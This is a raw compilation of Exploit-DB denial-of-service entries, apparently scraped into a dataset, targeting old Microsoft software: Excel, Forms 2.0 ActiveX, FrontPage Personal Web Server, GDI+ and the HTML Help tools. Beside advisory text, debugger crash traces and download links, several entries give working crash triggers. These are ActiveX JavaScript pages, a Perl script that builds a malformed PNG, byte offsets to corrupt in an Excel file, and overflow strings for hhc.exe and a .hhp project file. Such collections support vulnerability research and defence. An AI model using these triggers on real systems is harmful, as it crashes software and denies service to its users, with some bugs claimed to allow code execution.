deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34698
Description: Microsoft Excel 2002 - Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-23
Author: Abysssec

Exploit:
source: https://www.securityfocus.com/bid/43419/info

Microsoft Excel is prone to a memory-corruption vulnerability.

An attacker could exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in denial-of-service conditions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34698.rar
Exploit-DB #18078
Description: Microsoft Excel 2003 11.8335.8333 - Use-After-Free
Type: dos
Platform: windows
Date: 2011-11-04
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Microsoft Excel
              http://office.microsoft.com/en-us/excel/
              http://office.microsoft.com/en-us/downloads/CD001022531.aspx
Versions:     tested Office 2003 11.8335.8333 SP3
Platforms:    Windows
Bug:          use after free
Exploitation: file
Date:         03 Nov 2011 (found 24 Aug 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Excel 2003 is a spreadsheet program, part of the Office 2003 suite
still supported by Microsoft.


#######################################################################

======
2) Bug
======


Use-after-free probably located in the code that handles the vbscript
macros:

  eax=00492d78 ebx=00000000 ecx=feeefeee edx=00185ff8 esi=004c72b8 edi=00492478
  eip=65058591 esp=00185fd0 ebp=0018601c iopl=0         nv up ei pl nz na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
  VBE6!DllVbeInit+0x40f6f:
  65058591 ff11            call    dword ptr [ecx]      ds:002b:feeefeee=????????
  0:000:x86> k
  ChildEBP RetAddr  
  0018601c 6501c0dd VBE6!DllVbeInit+0x40f6f
  00[PII_REDACTED]dee2 VBE6!DllVbeInit+0x4abb
  001860a8 6505e21c VBE6!DllVbeInit+0x468c0
  00186220 767cbc9c VBE6!DllVbeInit+0x46bfa
  [PII_REDACTED] ole32!StgIsStorageFile+0x764

How to replicate:
- open the proof-of-concept via web or manually
- "An error occurred while loading 'Module1'. Do you want to continue loading the project?"
  select No, if you select Yes then the bug doesn't seem to be
  replicable
- "Unexpected error (32790)"
  select OK
- "Excel found unreadable content in ..."
  Yes or No is the same
- now reopen the proof-of-concept and the bug will happen immediately

The reopening of the same file seems necessary probably because the
Office suite uses only one instance of its programs and performs a
particular reallocation of the resources when a file gets reopened.

Note that I have tested only the latest version of Office 2003 on
Windows 7.

The proof-of-concept is NOT optimized.

Modified bytes:
excel_1a.xls:
0006FCA4   AA       01

excel_1b.xls:
0006FCB0   AD       40


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/excel_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18078.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #31711
Description: Microsoft Excel 2007 - JavaScript Code Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-04-26
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/28946/info

Microsoft Excel is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to deny access to legitimate users. Given the nature of this vulnerability, attackers may also be able to execute arbitrary code, but this has not been confirmed.

Microsoft Excel 2007 is vulnerable; other versions may also be affected. 

<html>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('Yacubian')></OBJECT>
<img>
Exploit-DB #38214
Description: Microsoft Excel 2007/2010/2013 - BIFFRecord Use-After-Free
Type: dos
Platform: windows
Date: 2015-09-16
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=462

The following crash was observed in Microsoft Excel 2007 running on Windows 2003 R2. This crash was also reproduced in Microsoft Excel 2010 on Windows 7 x86 and Microsoft Excel 2013 on Windows 8.1 x86. The test environment was Excel 2007 on Windows 2003 R2 with application verifier basic checks enabled.

Attached files:
Original File: 683709058_orig.xls
Crashing File: 683709058_crash.xls
Minimized Crashing File: 683709058_min.xls

The minimized crashing file shows two deltas from the original. The first at offset 0x237 is in the data of the 4th BIFFRecord and the second delta at offset 0x34a5 is in the type field of a BIFFRecord. 

File versions:
Excel.exe: 12.0.6718.5000
MSO.dll: 12.0.6721.5000

Observed Crash:

eax=00000000 ebx=00000000 ecx=0ce119f8 edx=00003fff esi=0e98de10 edi=0013c82c
eip=30037cc5 esp=00137180 ebp=00137188 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Excel.exe - 
Excel!Ordinal40+0x37cc5:
30037cc5 0fb64604        movzx   eax,byte ptr [esi+4]       ds:0023:0e98de14=??

0:000> kb L8
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00137188 303df098 0e98de10 [PII_REDACTED] Excel!Ordinal40+0x37cc5
0013d[PII_REDACTED]0 0013d0a8 [PII_REDACTED] Excel!Ordinal40+0x3df098
0013d2bc 305280b1 [PII_REDACTED] 00000008 Excel!Ordinal40+0x528190
0013d330 3038d46d 0013ddf2 [PII_REDACTED] Excel!Ordinal40+0x5280b1
0013e000 300084a4 0013e[PII_REDACTED]1 0013f568 Excel!Ordinal40+0x38d46d
0013fbb0 30005e9a 02270fd7 00000003 30f61708 Excel!Ordinal40+0x84a4
0013feb8 30003b3a 00[PII_REDACTED]0fd7 00000003 Excel!Ordinal40+0x5e9a
0013ff30 [PII_REDACTED] 00[PII_REDACTED]0fd7 Excel!Ordinal40+0x3b3a

In this crash esi is a heap address. We can see that this is a free chunk:

0:000> !heap -p -a 0xe98de10
    address 0e98de10 found in
    _DPH_HEAP_ROOT @ 1161000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e7f0fc0:          e98d000             2000
    7c83e330 ntdll!RtlFreeHeap+0x0000011a
    018b1611 vfbasics!AVrfpRtlFreeHeap+0x000000a8
    331039d5 mso!Ordinal1743+0x00002d4d
    329c91d1 mso!MsoFreePv+0x0000003f
    30298310 Excel!Ordinal40+0x00298310
    30300ac3 Excel!Ordinal40+0x00300ac3
    305f1899 Excel!Ordinal40+0x005f1899 

This is a use after free vulnerability affecting all currently supported versions of Microsoft Excel. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38214.zip
Exploit-DB #22330
Description: Microsoft Excel 2010 - Crash (PoC) (1)
Type: dos
Platform: windows
Date: 2012-10-29
Author: coolkaveh

Exploit:
Title     :  Microsoft Office Excel 2010 memory corruption
Version   :  Microsoft Office professional Plus 2010
Date      :  2012-10-27
Vendor    :  http://office.microsoft.com
Impact    :  Med/High
Contact   :  coolkaveh [at] rocketmail.com
Twitter   :  @coolkaveh
tested    :  XP SP3 ENG
###############################################################################
Bug :
----
memory corruption during the handling of the xls files a context-dependent attacker 
can execute arbitrary code.
---- 
################################################################################
(b4c.1350): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000584 
ebx=00135070 
ecx=00001000 
edx=0000105f 
esi=06a80800 
edi=00000040
eip=301ce0d0 
esp=001302f0 
ebp=00131d6c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Excel.exe - 
Excel!Ordinal40+0x1ce0d0:
301ce0d0 668b5008        mov     dx,word ptr [eax+8]      ds:0023:0000058c=????
################################################################################
Proof of concept included. 

http://www36.zippyshare.com/v/48422905/file.html
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22330.rar
Exploit-DB #27055
Description: Microsoft Excel 95 < 2004 - Malformed Graphic File Code Execution
Type: dos
Platform: windows
Date: 2006-01-09
Author: ad@heapoverflow.com

Exploit:
source: https://www.securityfocus.com/bid/16181/info

Microsoft Excel is susceptible to a code-execution vulnerability. The issue presents itself when Excel tries to process malformed or corrupted XLS files.

Attackers may exploit this issue to execute arbitrary machine code in the context of the affected application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27055-1.xls

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27055-2.xls
Exploit-DB #26769
Description: Microsoft Excel 95/97/2000/2002/2003/2004 - Malformed Range Memory Corruption
Type: dos
Platform: windows
Date: 2005-12-08
Author: fearwall

Exploit:
source: https://www.securityfocus.com/bid/15780/info

Microsoft Excel is susceptible to a remote code-execution vulnerability. This issue was originally disclosed through an eBay auction that has since been terminated.

This issue is due to the application's failure to properly bounds-check user-supplied input data in the 'Named Range' definition in Excel data files. This results in the corruption of critical memory sections, allowing code execution. 

The following is a proof-of-concept example segment of an Excel data file. The '*' characters represent the location of the affected value that triggers this issue. Setting these locations to '0xFF' will crash the application.

00000720 00 80 00 ff 93 02 04 00 14 80 05 ff 60 01 02 00 |............`...|
00000730 00 00 85 00 0e 00 ba 05 00 00 00 00 06 00 53 68 |..............Sh|
00000740 65 65 74 31 8c 00 04 00 01 00 01 00 ae 01 04 00 |eet1............|
00000750 01 00 01 04 17 00 08 00 01 00 00 00 00 00 00 00 |................|
00000760 18 00 1b 00 00 00 00 05 07 ** ** 00 00 00 00 00 |................|
00000770 00 00 00 54 45 53 54 31 3a 00 00 00 00 00 00 c1 |...TEST1:.......|
00000780 01 08 00 c1 01 00 00 22 be 01 00 fc 00 08 00 00 |......."........|
00000790 00 00 00 00 00 00 00 ff 00 02 00 08 00 63 08 15 |.............c..|
Exploit-DB #26869
Description: Microsoft Excel 95/97/2000/2002/2003/2004 - Memory Corruption (MS06-012)
Type: dos
Platform: windows
Date: 2005-12-19
Author: ad@heapoverflow.com

Exploit:
source: https://www.securityfocus.com/bid/15926/info

Microsoft Excel is susceptible to two unspecified memory-corruption vulnerabilities. The issues present themselves when Microsoft Excel tries to process malformed or corrupted XLS files.

Attackers may exploit these issues to crash the affected application and possibly to execute arbitrary machine code.

This BID will be updated and potentially split into separate records as further information is disclosed.

UPDATE (Mar 14, 2006): Microsoft has released security advisory MS06-012 addressing this and other issues.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27055-2.xls

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27055-1.xls
Exploit-DB #30756
Description: Microsoft Forms 2.0 - ActiveX Control 2.0 Memory Access Violation Denial of Service
Type: dos
Platform: windows
Date: 2007-11-12
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26414/info

Microsoft Forms 2.0 ActiveX Control is prone to multiple memory-access violation denial-of-service vulnerabilities.

Attackers can exploit these issues to crash Internet Explorer and deny service to legitimate users.

Note: Forms 2.0 ActiveX is distributed with any application that includes Visual Basic for Applications 5.0. 

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
      var obj;

      //Forms.Checkbox.1
      obj = new ActiveXObject("Forms.Checkbox.1");
      obj.Caption = "A";
      obj.GroupName = "A";
      obj.Accelerator = "A";

      //Forms.OptionButton.1
      obj = new ActiveXObject("Forms.OptionButton.1");
      obj.Caption = "A";
      obj.GroupName = "A";
      obj.Accelerator = "A";

      //Forms.ToggleButton.1
      obj = new ActiveXObject("Forms.ToggleButton.1");
      obj.Caption = "A";
      obj.GroupName = "A";
      obj.Accelerator = "A";

     //Forms.ComboBox.1
     obj = new ActiveXObject("Forms.ComboBox.1");
     obj.Text = "A";
     obj.Value = "A";
    

     //Forms.TextBox.1
     obj = new ActiveXObject("Forms.Textbox.1");
     obj.Text = "A";
     obj.Value = "A";
     obj.SelStart = 1;
}
  </script>

 </head>
 <body onLoad="JavaScript: return Check();" />
</html>
Exploit-DB #19445
Description: Microsoft FrontPage Personal Web Server 1.0 - PWS Denial of Service
Type: dos
Platform: windows
Date: 1999-08-08
Author: Narr0w

Exploit:
source: https://www.securityfocus.com/bid/568/info


A 'GET' request for a URL longer than 166 characters will overflow a buffer and cause the web server to crash with the following or similar error message:

VHTTPD32 caused an invalid page fault in
module VHTTPD32.EXE at 0137:0040aaed.
Registers:
EAX=010d7740 CS=0137 EIP=0040aaed EFLGS=00010202
EBX=00000000 SS=013f ESP=010d53d0 EBP=010d0074
ECX=010d7740 DS=013f ESI=010d7740 FS=13c7
EDX=000000a8 ES=013f EDI=bff92ac1 GS=0000
Bytes at CS:EIP:
ff 75 10 56 68 94 01 00 00 eb 1c 68 00 24 40 00
Stack dump:
00000010 010d7740 [PII_REDACTED] 00000000
[PII_REDACTED] [PII_REDACTED] 00000000
[PII_REDACTED] [PII_REDACTED] 00000000
00000000 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19445.zip
Exploit-DB #8466
Description: Microsoft GDI Plugin - '.png' Infinite Loop Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2009-04-17
Author: Code Audit Labs

Exploit:
#!/usr/bin/perl
#CAL_gdiplug_poc.pl
#
# Mircosoft_gdiplug_png_infinity_loop_D.o.S POC
# by Code Audit Labs public 2009-04-17
# http://www.vulnhunt.com/
# 
#Affected
#========
#test on full updated winxp sp3
#other version should be affected
#
#CVE: please assign to a CVE number
#
#DESCRIPTION
#===========
#
#  The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S . 
#
#
#ANALYSIS
#========
#
#  png chunk
#
# {
#	DWORD btChunkLen;
#	CHAR btChunkType[4];
#} CHUNK_HEADER;

#if btChunkLen is 0xfffffff4, would cause code fall into infinity loop
#

open(Fin, ">poc.png") || die "can't create crash sample.$!";
binmode(Fin);
$data = 
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" .
"\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" .
"\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" .
"\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8";

print Fin $data;

close(Fin);

# milw0rm.com [2009-04-17]
Exploit-DB #41656
Description: Microsoft GDI+ - 'gdiplus!GetRECTSForPlayback' Out-of-Bounds Read (MS17-013)
Type: dos
Platform: windows
Date: 2017-03-20
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1042

We have encountered a crash in the Windows GDI+ library, in the gdiplus!GetRECTSForPlayback function, while trying to display a malformed EMF+ image file:

---
(6be8.6f1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=ffffadd6 ecx=000c1000 edx=00000000 esi=0000348f edi=00000000
eip=6c83a189 esp=0023f21c ebp=0023f238 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
gdiplus!GetRECTSForPlayback+0xe2:
6c83a189 8a11            mov     dl,byte ptr [ecx]          ds:002b:000c1000=??
0:000> kb
ChildEBP RetAddr  Args to Child              
0023f238 6c83c8a3 000001e0 [PII_REDACTED] gdiplus!GetRECTSForPlayback+0xe2
0023f294 6c8387e3 07b6bcb0 0000403a 00008800 gdiplus!SetTSClipEPR::Play+0x71
0023f2b4 6c83a88d 0000403a [PII_REDACTED] gdiplus!GdipPlayMetafileRecordCallback+0x35
0023f2e4 6c83e32c 00000278 000c013c 000c0000 gdiplus!MetafilePlayer::EnumerateEmfPlusRecords+0x73
0023f2fc 76cd58a4 070125f7 04e18ff8 000c0098 gdiplus!EnumEmfWithDownLevel+0x61
0023f388 6c83abb4 070125f7 403581b3 6c83e2cb GDI32!bInternalPlayEMF+0x6a3
0023f3c0 6c83e5b1 070125f7 08462d83 0023f440 gdiplus!MetafilePlayer::EnumerateEmfRecords+0x104
0023f460 6c83f[PII_REDACTED]7 08462d83 0023f598 gdiplus!GpGraphics::EnumEmfPlusDual+0x1e7
0023f5b0 6c8448c9 00000000 42cc0000 42d80000 gdiplus!GpMetafile::EnumerateForPlayback+0x778
0023f6ac 6c84494d 07b65f28 [PII_REDACTED] gdiplus!GpGraphics::DrawImage+0x3f5
0023f710 6c80e03f 07b65f28 0023f738 0023f748 gdiplus!GpGraphics::DrawImage+0x51
0023f778 6c80e0d3 07b61d28 4269b[PII_REDACTED]0 gdiplus!GdipDrawImage+0x130
0023f7a4 000e1747 07b61d28 07b65f28 00000000 gdiplus!GdipDrawImageI+0x49
[...]
---

The crash appears to be caused by insufficient validation of the record size in relation to the number of declared rectangles, in the handler of the EmfPlusSetTSClip EMF+ record. It is unclear if the bug can also lead to memory corruption (likely not), but it could still potentially lead to the disclosure of junk/out-of-bounds heap bytes.

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays images using GDI+, or any existing GDI+ client (such as Microsoft Office).

Attached is an archive with two samples, which trigger crashes at two different offsets within the gdiplus!GetRECTSForPlayback function.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41656.zip
Exploit-DB #8281
Description: Microsoft GdiPlus - EMF GpFont.SetData Integer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-03-24
Author: Black Security

Exploit:
Microsoft GdiPlus.dll EMF GpFont::SetData Stack Overflow

Write up by redsand@blacksecurity.org : http://bl4cksecurity.blogspot.com/2009/03/microsoft-gdiplus-emf-gpfontsetdata.html
Credits to mIKEJONES for providing the .EMF Crash

down: http://www.blacksecurity.org/voltage-exploit.emf
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8281.emf (2009-voltage-exploit.emf)

# milw0rm.com [2009-03-24]
Exploit-DB #36211
Description: Microsoft Host Integration Server 2004-2010 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-04-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/49997/info

Microsoft Host Integration Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to become unresponsive or to crash, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36211.zip
Exploit-DB #11034
Description: Microsoft HTML Help Compiler (hhc.exe) - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-06
Author: s4squatch

Exploit:
Microsoft’s HTML Help Compiler (hhc.exe) is free tool to build Microsoft Compiled HTML Help (.chm) files. It is included within HTML Help Workshop and Visual Studio. The executable, hhc.exe, does not properly check the length of user-supplied command line arguments. It is possible to gain control of EDX, EBP, and ESI registers as well as perform an SEH overwrite.

With this, it should be possible to execute arbitrary code in the context of the application. For this reason, Microsoft has logged this as a bug, not a security issue or vulnerability since calling it with command line arguments will not give you elevated privileges that the calling entity did not already have.
hhc.exe version 4.74.8702.0 (EDX, EBP, ESI, SEH overwritten when called with 1,000 A’s)

Proof of Concept:

c:\> hhc.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Download: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en

Scott White
Senior Penetration Tester

http://www.securestate.com
http://securestate.blogspot.com
Exploit-DB #1488
Description: Microsoft HTML Help Workshop - '.hhp' Denial of Service
Type: dos
Platform: windows
Date: 2006-02-10
Author: darkeagle

Exploit:
[OPTIONS]
Compatibility=1.1 or later
Compiled file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaUUUUr0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Display compile progress=No
Language=0x419 Ðóññêèé

[INFOTYPES]

# milw0rm.com [2006-02-10]